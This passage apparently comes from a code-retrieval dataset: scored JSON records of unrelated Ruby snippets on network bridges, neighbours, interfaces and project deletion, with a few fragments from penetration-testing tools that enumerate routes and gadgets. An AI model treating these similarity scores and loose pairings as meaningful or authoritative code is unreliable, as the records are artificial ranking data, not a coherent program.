\n bridge_data[:bridge] = cli_out\n\n return bridge_data\nend", "title": "" }, { "docid": "7586b04ee2c1fe609be86fb16bdc8584", "score": "0.56997645", "text": "def find_all\n sql = \"SELECT * FROM neighbor;\"\n result = @db.execute(sql)\n neighbors = []\n neighbor = Model::Node.new\n result.each do |row|\n neighbor.guid = row[0]\n neighbor.name = row[1]\n neighbor.authority = row[2].to_f\n neighbor.hub = row[3].to_f\n neighbor.authority_prime = row[4].to_f\n neighbor.hub_prime = row[5].to_f\n neighbor.direction = row[6].to_i\n neighbor.last_update = DateTime.parse(row[7])\n neighbors << neighbor\n end\n neighbors\n end", "title": "" }, { "docid": "83d008d754dc0c4c0b8320a803e08e51", "score": "0.5686379", "text": "def bcc_addrs; end", "title": "" }, { "docid": "553c00712f9bd0c303166d1bfaeda25a", "score": "0.56852555", "text": "def get_all_connections(consider_world)\n data = get_connection_data(consider_world)\n get_conections_from_data(data[0], data[1])\n end", "title": "" }, { "docid": "e3472cb58b156db5e7365390ff2faac9", "score": "0.5674492", "text": "def read_bridged_interfaces\n end", "title": "" }, { "docid": "4a77b183f9db6ece6e99e51e9f0eaa2d", "score": "0.5657998", "text": "def rdy_connections\n registry.find_all do |conn_id, info|\n info[:ready] > 0\n end.map{|conn_id, info| connection_lookup(conn_id) }.compact\n end", "title": "" }, { "docid": "86bf6330872b2a502f4dcc5adb48eabd", "score": "0.5657729", "text": "def neighbors\n self.class.find_all_by_nodes node_ids\n end", "title": "" }, { "docid": "23958e929d1bf99ee5a3f29e7e72ca2c", "score": "0.5657641", "text": "def list_bridge_options(nic)\n bridge_options = nic[:conf][:bridge_conf] || {}\n ip_bridge_options = {}\n\n # options transform table from brctl to ip-route2\n brctl_to_ipbridge = {\n :setageing => :ageing_time,\n :sethello => :hello_time,\n :setmaxage => :max_age,\n :stp => :stp_state,\n :setbridgeprio => :priority,\n :setfd => :forward_delay\n }\n\n # translate bridge_options to ip_bridge_options\n bridge_options.each do |brctl_opt, brctl_val|\n next unless brctl_to_ipbridge.include? brctl_opt\n\n ip_bridge_options[brctl_to_ipbridge[brctl_opt]] = brctl_val\n end\n\n # merge, conf section `:ip_bridge_conf` has higher priority\n ip_bridge_options.merge!(nic[:conf][:ip_bridge_conf]) \\\n if nic[:conf][:ip_bridge_conf]\n\n bridge_options_str = ''\n ip_bridge_options.each do |option, value|\n case value\n when true\n value = '1'\n when false\n value = '0'\n end\n\n bridge_options_str << \"#{option} #{value} \"\n end\n\n bridge_options_str.strip\n end", "title": "" }, { "docid": "c4214ba7d87df421e9f3e4bb16f63dae", "score": "0.5597225", "text": "def lights\n\t\t\tlights = @bridge.lights\n\t\t\[email protected]{|id| lights[id]}\n\t\tend", "title": "" }, { "docid": "c4214ba7d87df421e9f3e4bb16f63dae", "score": "0.5597225", "text": "def lights\n\t\t\tlights = @bridge.lights\n\t\t\[email protected]{|id| lights[id]}\n\t\tend", "title": "" }, { "docid": "c69bb59b566634dd7a77c32a01991b62", "score": "0.55774724", "text": "def all_bottles_in_all_cellars\n cellars.map{|cellar|\n cellar.bottles\n }.flatten\n end", "title": "" }, { "docid": "08c133613e3e85dc66e7d782ab3c23e3", "score": "0.55581707", "text": "def neighbours\n NEIGHBOUR_DIRECTIONS.map(&method(:[])).compact\n end", "title": "" }, { "docid": "eb7ba89c10bb2b0124f7ac6ae6603cc5", "score": "0.5542392", "text": "def nextBridge(x, y)\n bridge = []\n # Check if the coord are valid\n if(x >= @current.size || x < 0 || y >= @current[0].size || y < 0)\n return bridge\n end\n\n if(@current[x][y].isAlterable? == false)\n return bridge\n end\n if(@current[x][y].state != :bridge)\n return bridge\n end\n if(@current[x][y].type == :empty)\n return bridge\n end\n\n # Update bridge\n if(@current[x][y].direction == :vertical)\n # get coord isle\n i = x\n while(@current[i][y].state == :bridge) do\n i -= 1\n end\n\n bridge.push([i, y])\n i += 1\n while(@current[i][y].state == :bridge) do\n @current[i][y].nextType()\n i += 1\n end\n bridge.push([i, y])\n else\n # get coord isle\n i = y\n while(@current[x][i].state == :bridge) do\n i -= 1\n end\n\n bridge.push([x, i])\n i += 1\n while(@current[x][i].state == :bridge) do\n @current[x][i].nextType()\n i += 1\n end\n bridge.push([x, i])\n end\n\n return bridge\n end", "title": "" }, { "docid": "40f23dae1b3d81dc1b119b2fdb9981ba", "score": "0.5535812", "text": "def get_bridge\n return @m_bridge\n end", "title": "" }, { "docid": "fc879e8cc4375499339cb996d60c8efc", "score": "0.55275303", "text": "def find_neighbors\n @neighbors.clear\n XY_AROUND.each do |coord_change|\n stone = goban.stone_at?(@i+coord_change[0], @j+coord_change[1])\n @neighbors.push(stone) if stone != BORDER\n end\n end", "title": "" }, { "docid": "7e48bae59554f76f7fc8955541f62f0d", "score": "0.55226606", "text": "def get_ufd_port_binds( netdev )\n Ohai::Log.debug( \"Master: \" + netdev ) \n bound = false\n boundports = Array.new\n so = shell_out( \"networkctl status \" + netdev )\n\n so.stdout.lines do |line|\n if bound == true\n if line.strip.match( /([a-zA-Z0-9]+)/ )\n Ohai::Log.debug( \"Match: \" + $1 )\n if is_port( $1 ) == true\n Ohai::Log.debug( \"Add port: \" + $1 )\n boundports.push( $1 )\n else\n break\n end\n else\n break\n end\n elsif line.strip.match( /Carrier Bound To:\\s+([a-zA-Z0-9]+)/ )\n Ohai::Log.debug( \"Carrier bound to: \" + $1 )\n if is_port( $1 ) == true\n Ohai::Log.debug( \"Confirmed master: \" + $1 )\n boundports.push( $1 )\n bound = true\n end\n end\n end\n\n return boundports\n end", "title": "" }, { "docid": "f574f2ac0848dcd38399025ee8a6e7f4", "score": "0.55186725", "text": "def list_shared_eth_adapters\n command = \"lsmap -all -net\"\n execute_vios_cmd(command)\n end", "title": "" }, { "docid": "38b598903ade06fed650eac48d031bac", "score": "0.55118066", "text": "def liberties\n liberties = neighbors\n stones = @board.search(neighbors)\n stones.each {|stone| liberties.delete(stone.point)}\n return liberties\n end", "title": "" }, { "docid": "8564597340dcb68c631f9888539fb032", "score": "0.54950273", "text": "def neighbours(force=false)\n get_response('user.getneighbours', :neighbours, 'neighbours', 'user', {'user'=>@username}, force)\n end", "title": "" }, { "docid": "da1bf20c7e419a8b3ecabd8defd88d7c", "score": "0.5485217", "text": "def connected_nics\n nic_names = []\n properties.networkProfile.networkInterfaces.each do |nic|\n nic_names << nic.id.split(%r{/}).last\n end\n nic_names\n end", "title": "" }, { "docid": "59a2e3e22edb968e8017bb42634db365", "score": "0.5481193", "text": "def rest__list_connections\n assembly = ret_assembly_instance_object()\n find_missing, find_possible = ret_request_params(:find_missing, :find_possible)\n ret =\n if find_possible\n assembly.list_possible_component_links\n elsif find_missing\n fail Error.new('Deprecated')\n else\n fail Error.new('Deprecated')\n end\n rest_ok_response ret\n end", "title": "" }, { "docid": "70728f18f92c877437868e019145537c", "score": "0.5477619", "text": "def bases\n find_all { |hex| hex.type == :base }\n end", "title": "" }, { "docid": "70728f18f92c877437868e019145537c", "score": "0.5477619", "text": "def bases\n find_all { |hex| hex.type == :base }\n end", "title": "" }, { "docid": "ccbf45b1c7ea9181fed9ed5dc6c7198e", "score": "0.54772615", "text": "def get_neighbors()\n @neighbors\n end", "title": "" }, { "docid": "6d4c7f76ff2fc6abdad0de047524ae19", "score": "0.54705805", "text": "def nat_gateways\n default_routes = content.route_tables.collect {|rt| rt.routes.select {|r| r.destination_cidr_block==\"0.0.0.0/0\" }}\n default_routes.reject! {|route| route == []}\n default_routes.collect {|r| r[0].nat_gateway_id}.compact\n end", "title": "" }, { "docid": "ce0b9361b9c82d05429d37efce5ef3d4", "score": "0.5457508", "text": "def index\n @components = Component.where(bridge: @bridge).all\n end", "title": "" }, { "docid": "026fdee3c2013de012b221d5794a7eb5", "score": "0.5447203", "text": "def pipeline_bridges(project_id, pipeline_id, options = {})\n get(\"/projects/#{url_encode project_id}/pipelines/#{pipeline_id}/bridges\", query: options)\n end", "title": "" }, { "docid": "f9c93427487fbb2d5e3f73ca5a078549", "score": "0.5438344", "text": "def available_bases\n @bases.collect {|id| self[id] }.find_all(&:available?)\n end", "title": "" }, { "docid": "ae02de463cd6dce35c1724ebad23d927", "score": "0.54364026", "text": "def neighbours\n call('user.getneighbours', :neighbours, User, {:user => @name})\n end", "title": "" }, { "docid": "4490df7591424be6d127ab69bf7453d3", "score": "0.5431968", "text": "def cartridges\n if @cartridges.empty?\n require 'ballistics/cartridge'\n\n cartridge_file = CHAMBER_CARTRIDGE[@chamber] or\n raise(ChamberNotFound, @chamber)\n @cartridges =\n Ballistics::Cartridge.find_with_projectiles(cartridge_file)\n end\n @cartridges\n end", "title": "" }, { "docid": "194638c78d2be40281ef00b375049587", "score": "0.5430294", "text": "def get_network_interfaces\n # get non virtual interface name looking in /sys/class/net \n cli_output = `ls -l /sys/class/net/ | tail -n +2 | grep '^l' | grep -v virtual | awk '{print $9}' | sort`\n return cli_output.split(\"\\n\")\nend", "title": "" }, { "docid": "9c18549b48016c9c22e24c128b3d1670", "score": "0.54228854", "text": "def iscsi_bonds\n @iscsi_bonds\n end", "title": "" }, { "docid": "85b4436e08d106a71b1780b0ae36ca68", "score": "0.54045373", "text": "def retrieve_vswitch_pnic_objects\n networksystem=host.configManager.networkSystem\n vswitches = networksystem.networkConfig.vswitch\n vswitches.each do |vswitch|\n availablevswitch = vswitch.name\n if (availablevswitch == resource[:vswitch])\n if vswitch.spec.bridge != nil and vswitch.spec.bridge.nicDevice != nil\n return vswitch.spec.bridge.nicDevice\n end\n return nil\n end\n end\n end", "title": "" }, { "docid": "1f246715a3226a0ad6a55c919aa06921", "score": "0.5400808", "text": "def all\n @connections\n end", "title": "" }, { "docid": "3bb94ef6887134a4e51f219a115577c6", "score": "0.5400715", "text": "def connections\n results = []\n frm.div(:class=>\"portletBody\").spans.each do |span|\n if span.class_name == \"connection-info-name\"\n results << span.text\n end\n end\n return results\n end", "title": "" }, { "docid": "8e30974f03c539caee1043db2f6e808a", "score": "0.53980076", "text": "def avaliables\n # Comprobamos cada red social por si es valida y si así es lo incluimos\n # en el array final\n social_networks = []\n SOCIAL_NETWORKS.each do |sn|\n social_network = send(sn)\n social_networks << social_network if social_network.valid?\n end\n\n return social_networks\n end", "title": "" }, { "docid": "fc1f130614f520686126a87b115740b1", "score": "0.53976375", "text": "def networks\n @log.debug(\"Getting networks list on #{self.name}\") \n array_return = Array.new\n command = \"lshwres --rsubtype vnetwork -r virtualio -m #{self.name}\"\n output = self.hmc.run_command(command).chomp()\n regexp = /vnetwork=(?'vnetwork'\\S+),is_tagged=(?'tagged'\\d),vswitch=(?'vswitch'\\S+),vlan_id=(?'vlanid'\\d+)/\n output.scan(regexp).each do |entry|\n hash = { :vnetwork => entry[0],\n\t \t :is_tagged => entry[1].to_i,\n\t\t :vswitch => entry[2],\n\t \t :vlan_id => entry[3].to_i}\n\tarray_return.insert(-1,hash)\n end\n array_return\n end", "title": "" }, { "docid": "efaf926fa7deb7680919bc54894a6f7f", "score": "0.5396338", "text": "def connected_networks\n network_profiles.reject {|key, profiles| Array.wrap(profiles).find {|p| !p.connected?}}.keys\n end", "title": "" }, { "docid": "308376bec3dc6e069912b5cc9480649b", "score": "0.5389006", "text": "def all_lobbies\n Game.where(state: \"lobby\")\n end", "title": "" }, { "docid": "db28bb4039be59921249039e52e4b4fd", "score": "0.5386321", "text": "def networks\n self.accounts.collect(&:network_name)\n end", "title": "" }, { "docid": "0349586e20718478b77617d885922450", "score": "0.53662276", "text": "def list\n @list || find_addrs()\n end", "title": "" }, { "docid": "214e0d8726c7528cad6d55a432334417", "score": "0.53631014", "text": "def neighbors\r\n list = []\r\n list << north if north\r\n list << south if south\r\n list << east if east\r\n list << west if west\r\n list\r\n end", "title": "" }, { "docid": "c2e1a640e87ad3c416788ca8c0aee8a3", "score": "0.53601235", "text": "def breach\n @listings = Listing.all_agent_listings(\"Breach\")\n end", "title": "" }, { "docid": "e394f9c1481313b575679d17c7c4a45d", "score": "0.53514534", "text": "def event_bridges(event)\n @extensions[:bridges].each do |name, bridge|\n bridge.safe_run(event) do |output, status|\n @logger.debug(\"bridge extension output\", {\n :extension => bridge.definition,\n :output => output\n })\n end\n end\n end", "title": "" }, { "docid": "88a8835443e4ea7e5f63cf26907d2597", "score": "0.53385824", "text": "def neighborhoods\n sub_areas(target: 'neighborhood')\n end", "title": "" }, { "docid": "79d3ee5be329623a9febcddac7dc13ac", "score": "0.5337897", "text": "def neighbors\n @table[:neighbors].map{|areacode| Area.find areacode}\n end", "title": "" }, { "docid": "9c493bd7c7604082bce70f7c63cc0185", "score": "0.5336597", "text": "def downloaded_cartridges\n cartridges.select(&:singleton?)\n end", "title": "" }, { "docid": "773d9540c65c9c1684a801f9139feef1", "score": "0.5318259", "text": "def networks\n @log.debug(\"Getting networks list on #{self.name}\")\n command = \"lshwres -r virtualio --rsubtype eth -m C1IbmP770-telox --level lpar -F lpar_name,addl_vlan_ids --filter lpar_names=#{self.name}\"\n output = self.frame.hmc.run_command(command)\n regexp = /(?<=,|\")(\\d+)/\n vlans = output.scan(regexp).flatten.map { |x| x.to_i}.sort\n vlans\n end", "title": "" }, { "docid": "f5031ee3dc5a77f4d91bb86041a9b601", "score": "0.531541", "text": "def set_bridge_options\n @nic[:ovs_bridge_conf].each do |option, value|\n cmd = \"#{command(:ovs_vsctl)} set bridge \" <<\n \"#{@nic[:bridge]} #{option}=#{value}\"\n\n OpenNebula.exec_and_log(cmd)\n end\n end", "title": "" }, { "docid": "a4a56d554547e4524bd050cfec5d4f2f", "score": "0.53151363", "text": "def neighbours(parameters = {})\n query(:neighbours, parameters)\n end", "title": "" }, { "docid": "53d8edeb5b2ebbed0ef489ce5c49a44d", "score": "0.53022397", "text": "def find_all_objects\n connections.each do |conn|\n return conn.search(nil)\n end\nend", "title": "" }, { "docid": "d7e367a43266f342ca859538c861a1f2", "score": "0.52996135", "text": "def create_bridge\n return if @bridges.keys.include? @nic[:bridge]\n\n if @nic[:bridge_type] == 'openvswitch_dpdk'\n @nic[:ovs_bridge_conf] = {} unless @nic[:ovs_bridge_conf]\n @nic[:ovs_bridge_conf]['datapath_type'] = 'netdev'\n end\n\n OpenNebula.exec_and_log(\"#{command(:ovs_vsctl)} --may-exist add-br #{@nic[:bridge]}\")\n\n set_bridge_options\n\n @bridges[@nic[:bridge]] = []\n\n OpenNebula.exec_and_log(\"#{command(:ip)} link set #{@nic[:bridge]} up\")\n end", "title": "" }, { "docid": "20a5e0e0cd05a030932612ca1bf0beea", "score": "0.5295633", "text": "def generate_bridge_name\n @logger.debug 'generating name for bridge'\n count = 0\n while lookup_bridge_by_name(bridge_name = \"virbr#{count}\")\n count += 1\n end\n @logger.debug \"found available bridge name #{bridge_name}\"\n bridge_name\n end", "title": "" }, { "docid": "2fe1b3d3bcd29ec52d481b4b5aaef711", "score": "0.52943754", "text": "def all_combinations\n combos = []\n EthnicGroup.all.each do |group|\n ETHNIC_BACKGROUNDS[group].each do |bg|\n combos << [group, bg]\n end\n end\n combos\n end", "title": "" }, { "docid": "7120c4012cd328fd8ec110f3ecd663b7", "score": "0.5285734", "text": "def get_all_connections\n resp = JSON.parse(Net::HTTP.get_response(URI(@conn_url)).body)\n resp[\"connections\"]\n end", "title": "" }, { "docid": "5e908abf5c1b1eb3ff3a6e46a63e84f2", "score": "0.52840793", "text": "def list_fridge\n fridges = Fridge.all\n fridges.each {|fridge| puts \"Fridge ID: #{fridge.id} Fridge Location: #{fridge.location}\"}\n end", "title": "" }, { "docid": "876ec4e61513bac36bc02651bd0b45e7", "score": "0.52807057", "text": "def find\n candidates.map do |cand|\n lines = cand.lines\n # use processor to find which can lead to a valid one-gadget call.\n gadgets = []\n (lines.size - 2).downto(0) do |i|\n processor = emulate(lines[i..-1])\n options = resolve(processor)\n next if options.nil? # impossible to be a gadget\n\n offset = offset_of(lines[i])\n gadgets << OneGadget::Gadget::Gadget.new(offset, **options)\n end\n gadgets\n end.flatten\n end", "title": "" }, { "docid": "2d8a8bb0ca40f7026518aa001cfed428", "score": "0.52797025", "text": "def nearby_bssids\n return [] unless has_wifi\n\n bssids = self.wifi.with_indifferent_access[:bssids]\n\n # if api key hoccer compatible: only clients with hoccer compatible api keys\n # if not: only clients with same api key\n\n if hoccer_compatible?\n query = { \"api_key\" => { \"$in\" => hoccer_compatible_api_keys } }\n else\n query = { \"api_key\" => api_key }\n end\n\n # environment update in last 30s and sharing a bssid\n\n return [] unless bssids\n Environment.where(\n { \"created_at\" => {\"$gt\" => Time.now.to_f - 30}}\n ).where(\n query\n ).any_of(\n *(bssids.map { |bssid| {\"wifi.bssids\" => bssid} })\n ).to_a\n end", "title": "" }, { "docid": "ec2e54a104a3362c7bbd18a4fea794c5", "score": "0.5275396", "text": "def find_enabled_networks\n @networks = Network.find :all,\n :conditions => {:enabled => true},\n :order => \"network_name ASC\"\n end", "title": "" }, { "docid": "cd0a3ef81b32fd94114c82882587fe2a", "score": "0.5273902", "text": "def get_blueprints\n connection.resource(:get, 'blueprints')\n end", "title": "" }, { "docid": "607c4c4766826bd6f3b32b2278212d9e", "score": "0.52730674", "text": "def get_all_mbta_subways\n get_call(\"routes?filter[type]=0,1\")\n end", "title": "" }, { "docid": "801db650cad3096c8c177ede84607ef9", "score": "0.5269354", "text": "def _get_routed_ips\n routed_ips = []\n pivot = Rex::Socket::SwitchBoard.instance\n unless (pivot.routes.to_s == '') || (pivot.routes.to_s == '[]')\n pivot.routes.each do |r|\n sn = r.subnet\n nm = r.netmask\n cidr = Rex::Socket.addr_atoc(nm)\n pivot_ip_range = Rex::Socket::RangeWalker.new(\"#{sn}/#{cidr}\")\n pivot_ip_range.each do |i|\n routed_ips << i\n end\n end\n end\n return routed_ips\n end", "title": "" }, { "docid": "f9e024bb822956b957477a17064d6423", "score": "0.52640355", "text": "def get_connected_networks\n user_tokens.collect do |token|\n token.provider == 'open_id' ? token.uid.match(/\\.(\\w+)\\./)[1] : token.provider\n end\n end", "title": "" }, { "docid": "11a7305b619b5e1171f8535c30c5ef9f", "score": "0.5261953", "text": "def neighbors\n city_roads.keys\n end", "title": "" }, { "docid": "e42845f1576655bef71dc1ca7a41ba69", "score": "0.5261907", "text": "def all_blueprints\n project_blueprints = all_project_blueprint_infos.map { |info| info.name }\n\n gem_blueprints = specs.map do |spec|\n dot_lono = dot_meta_path(spec)\n config = YAML.load_file(dot_lono)\n config[\"blueprint_name\"]\n end\n\n all = project_blueprints + gem_blueprints\n all.uniq\n end", "title": "" }, { "docid": "71399a0ebe5e354cebf60fc255d3617e", "score": "0.525865", "text": "def find_max_bridge_strength\n # Finds the best bridge strength for each of the starting 0-components\n potential_bridges = zero_components.collect { |c| max_bridge_strength([c], c.right_port, c.strength) }\n potential_bridges.collect { |b| b[:strength] }.max\n end", "title": "" }, { "docid": "28be5ee38243a38aa31abefcae04d775", "score": "0.52551645", "text": "def get_networks\n networks = get(\"cloud-instances/#{guid}/networks\")[\"networks\"] || []\n networks.map do |network|\n get_network(network[\"networkID\"])\n end\n end", "title": "" }, { "docid": "d7f210a8dc996e608ba83eb7933566bb", "score": "0.52547956", "text": "def bnodes\n @store.bnodes(self)\n end", "title": "" }, { "docid": "a1605c1347f4b13b30473026ba5295eb", "score": "0.52533835", "text": "def bridge\n FFI::Libvirt.virNetworkGetBridgeName(self)\n end", "title": "" }, { "docid": "2b7241f1252fca74af7992ca7793f7ec", "score": "0.52514255", "text": "def remove_all_bridge_domains\n config 'system bridge-domain none' if /N7/ =~ node.product_id\n BridgeDomain.bds.each do |_bd, obj|\n obj.destroy\n end\n end", "title": "" }, { "docid": "2adcad314087380238514ad2a9e19f2c", "score": "0.52514124", "text": "def get_router_vm_bridged_adapter\n id_path = '../.vagrant/machines/default/virtualbox/id'\n adapter_name = nil\n gateway = nil\n if File.exist?(id_path)\n id = File.open(id_path) { |io| io.read }\n output = %x[VBoxManage showvminfo \"#{id}\" --machinereadable 2>&1]\n output.lines.find do |line|\n if md = /^bridgeadapter2=\"(.+)\"$/.match(line.chomp)\n adapter_name = md[1]\n end\n end\n\n output = %x[VBoxManage guestproperty get \"#{id}\" /VirtualBox/GuestInfo/Net/1/V4/IP 2>&1]\n output.lines.find do |line|\n if md = /^Value: *(.+)$/.match(line.chomp)\n gateway = md[1]\n end\n end\n end\n if adapter_name.nil?\n puts 'Router VM has not been properly initialized.'\n exit 1\n end\n if gateway.nil?\n puts 'Cannot get gateway address.'\n exit 1\n end\n [adapter_name, gateway]\nend", "title": "" }, { "docid": "4ea65f7c3a7d12b55e559d3920316741", "score": "0.525136", "text": "def fetch_neighborhoods\n return if @addresses.empty?\n uri = URI.parse neighborhood_url\n logger.debug('GoogleMapsGeocoder') { uri }\n response = http(uri)\n results = ActiveSupport::JSON.decode response.body\n results['results'].map { |e| e['address_components'] }\n .compact\n .flatten\n .select { |e| e['types'].include?('neighborhood') }\n .map { |e| e['long_name'] }.uniq\n end", "title": "" }, { "docid": "71e1ef45a09c4f3c462710d3a8f5e998", "score": "0.5249106", "text": "def initiate_beacon_connections(enumerator=Enumerator)\n \n #Get a list of all connected board devices...\n board_connections = enumerator.connected_beacon_boards\n\n #... and convert that into a list of actual beacon boards.\n return board_connections.map { |connection| Board.new(connection) }\n\n end", "title": "" }, { "docid": "fdb383a1b44dd0f2d715613bb83a05d7", "score": "0.5247907", "text": "def travelable_neighbors\n\t\tavailable = []\n\t\[email protected] do |key, val|\n\t\t\tavailable << @neighbors[key] unless val or @neighbors[key].nil?\n\t\tend\n\t\tavailable\n\tend", "title": "" }, { "docid": "c8af47c3b11e2a730158b49722630d93", "score": "0.52462256", "text": "def all_connections(type)\n SheldonClient::Read.all_connections(type)\n end", "title": "" }, { "docid": "5c2e33561ee0e6b7ca9c609b09ec117b", "score": "0.52461225", "text": "def interfaces\n result = []\n data = cmd_exec(\"for fn in /sys/class/net/*; do echo $fn; done\")\n parts = data.split(\"\\n\")\n parts.each do |line|\n line = line.split(\"/\")[-1]\n result.insert(-1,line)\n end\n return result\n end", "title": "" }, { "docid": "ae9fbd5ae6120ff160200958cd3439ef", "score": "0.5243353", "text": "def neighborhoods\n\n end", "title": "" }, { "docid": "97945a5fdb64edfffad11543ce1899ab", "score": "0.5240674", "text": "def get_connections\n @@connections.each{ |i,c| yield c if c.status!=\"disable\"} if block_given?\n return @@connections\n end", "title": "" } ]
073a990ab3b468862b590d90c4d7c9ff
DELETE /project_code_allocations/1 DELETE /project_code_allocations/1.json
[ { "docid": "ef3333ab82d7f5a067b1906ddabecf1d", "score": "0.72776747", "text": "def destroy\n @project_code_allocation.destroy\n respond_to do |format|\n format.html { redirect_to project_code_allocations_url, notice: 'Project code allocation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "5bd2a706c71a304fa3432f21fa1db815", "score": "0.68127036", "text": "def destroy\n @project_code.destroy\n respond_to do |format|\n format.html { redirect_to project_codes_url, notice: 'Project code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d5656a7b0b16ceedbe49f65f309492fb", "score": "0.6626134", "text": "def destroy\n @usage_record.destroy\n respond_to do |format|\n format.html { redirect_to @project }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.6550967", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "c9eb3ecb6447596fd952d55e3ceba5d7", "score": "0.6549394", "text": "def _project_delete(acronym)\n delete \"/projects/#{acronym}\"\n _response_status(204, last_response)\n end", "title": "" }, { "docid": "d8819b873a0a422359b71aa8239bdd9e", "score": "0.64917225", "text": "def destroy\n @barangay_irrigation_project.destroy\n respond_to do |format|\n format.html { redirect_to barangay_irrigation_projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0494b0c3f838a7bb52ef3a0070528b6", "score": "0.6482399", "text": "def destroy\r\n @project_request = ProjectRequest.find(params[:id])\r\n @project_request.delete\r\n \r\n respond_to do |format|\r\n format.html { redirect_to my_requests_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "2395db8e8b2d56dc1e97347626464cb3", "score": "0.64521724", "text": "def destroy\n @project.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "60484407766240c87e32f383b9bce3d3", "score": "0.64250195", "text": "def destroy\n @barangay_bridge_project_completion.destroy\n respond_to do |format|\n format.html { redirect_to barangay_bridge_project_completions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6543ad229cb1b7f49ca9acaa86ee5c84", "score": "0.6420235", "text": "def destroy\n @barangay_fmr_project.destroy\n respond_to do |format|\n format.html { redirect_to barangay_fmr_projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "73628d60bcf6b5d21d33a4bff719e9c2", "score": "0.6398015", "text": "def destroy\n @project_state.destroy\n head :no_content\n end", "title": "" }, { "docid": "44f01025cd2e31f57947fe78a35a389d", "score": "0.6397334", "text": "def destroy\n @code.destroy\n respond_to do |format|\n format.html { redirect_to codes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "067f70c82fd516b385bb8ed1bffd7ea6", "score": "0.63929164", "text": "def destroy\n @access_code.destroy\n respond_to do |format|\n format.html { redirect_to access_codes_url, notice: 'Access code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a83ae2dac4a5f2fd364a96a76cd86ced", "score": "0.63868654", "text": "def destroy\n @barangay_bridge_project.destroy\n respond_to do |format|\n format.html { redirect_to barangay_bridge_projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dfdfcbb7fc9dc8bb0179a5a59a73cbe4", "score": "0.6372381", "text": "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end", "title": "" }, { "docid": "af6c7ba2d5c9f3e83cb5f368c5ce8263", "score": "0.63531977", "text": "def destroy\n name = @project.name\n @project.destroy\n render json: [\"You have successfullly deleted '#{name}''\"], status: 200\n end", "title": "" }, { "docid": "f3c9f4d4f912d286cbd3eab674e0d57a", "score": "0.6348303", "text": "def destroy\n @project = Project.find(params[:id])\n @project.status = 'deleted'\n @project.save!\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end", "title": "" }, { "docid": "bd185ed3a3ded5b2355ba843c4ff6e18", "score": "0.6326417", "text": "def destroy\n @code = Code.find(params[:id])\n @code.destroy\n\n respond_to do |format|\n format.html { redirect_to codes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b86c72727257a888dee7a6107fdf0f51", "score": "0.6322766", "text": "def backend_deleteProject(param) \n @Projects.delete(param) if @Projects.include? param \n end", "title": "" }, { "docid": "2d5f14a74beaa2b0556d213fcb3f7a08", "score": "0.6313038", "text": "def destroy\n @project_area_interest.destroy\n respond_to do |format|\n format.html { redirect_to project_area_interests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b84dafe8a21fbeede16bb95bf32aabc9", "score": "0.63088965", "text": "def destroy\n @project.destroy\n head :no_content\n end", "title": "" }, { "docid": "115f5b2bbb489213fd4a29c5e53b65d2", "score": "0.63070655", "text": "def destroy\n @project = Project.find(params[:id])\n employee_projects = EmployeesProjects.find EmployeesProjects.search_by(project_id: @project.key)\n employee_projects.map &:destroy\n @project.destroy\n respond_to do |format|\n if Project.list.blank?\n format.html { redirect_to startup_projects_path }\n else\n format.html { redirect_to learn_projects_path }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "0f5961c8902cf180ad807823410c6e31", "score": "0.63058", "text": "def destroy\n @spatial_coverages = SpatialCoverages.find(params[:id])\n @spatial_coverages.destroy\n\n respond_to do |format|\n format.html { redirect_to spatial_coverage_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fab7c8ff1bffafd5e61b90c1f6d6b1f7", "score": "0.62997437", "text": "def destroy\n @sproject = current_user.sprojects.find(params[:id])\n @sproject.destroy\n\n respond_to do |format|\n format.html { redirect_to sprojects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "003f3e235ad50206a72ac327e0120739", "score": "0.62972486", "text": "def destroy\n @sproject.destroy\n respond_to do |format|\n format.html { redirect_to sprojects_url, notice: 'Sproject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "825cfe19ef546bb16a8b445495f6bccf", "score": "0.6295259", "text": "def destroy\n @common_code = CommonCode.find(params[:id])\n @common_code.destroy\n\n respond_to do |format|\n format.html { redirect_to common_codes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a4eba79b4cf10996f2226d5d72e2f2f1", "score": "0.6292926", "text": "def destroy\n @project = @client.projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to @client }\n end\n end", "title": "" }, { "docid": "e9250d675762ae81805f97e745d9d974", "score": "0.6289939", "text": "def destroy\n @example_code.destroy\n respond_to do |format|\n format.html { redirect_to example_codes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4f0efbc87cc9e1649e64eef16f4ebe2a", "score": "0.62796706", "text": "def delete_project(project)\n handle_action_exceptions(__method__) do\n cmd_line = [\"deleteproject '#{project}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end", "title": "" }, { "docid": "236799cf101b5fca9628e82226fbda2a", "score": "0.6278937", "text": "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "title": "" }, { "docid": "a234ecb3d207d6d66e3c1b39c98e195b", "score": "0.6272015", "text": "def destroy\n @comparison_function.destroy\n respond_to do |format|\n format.html { redirect_to @project 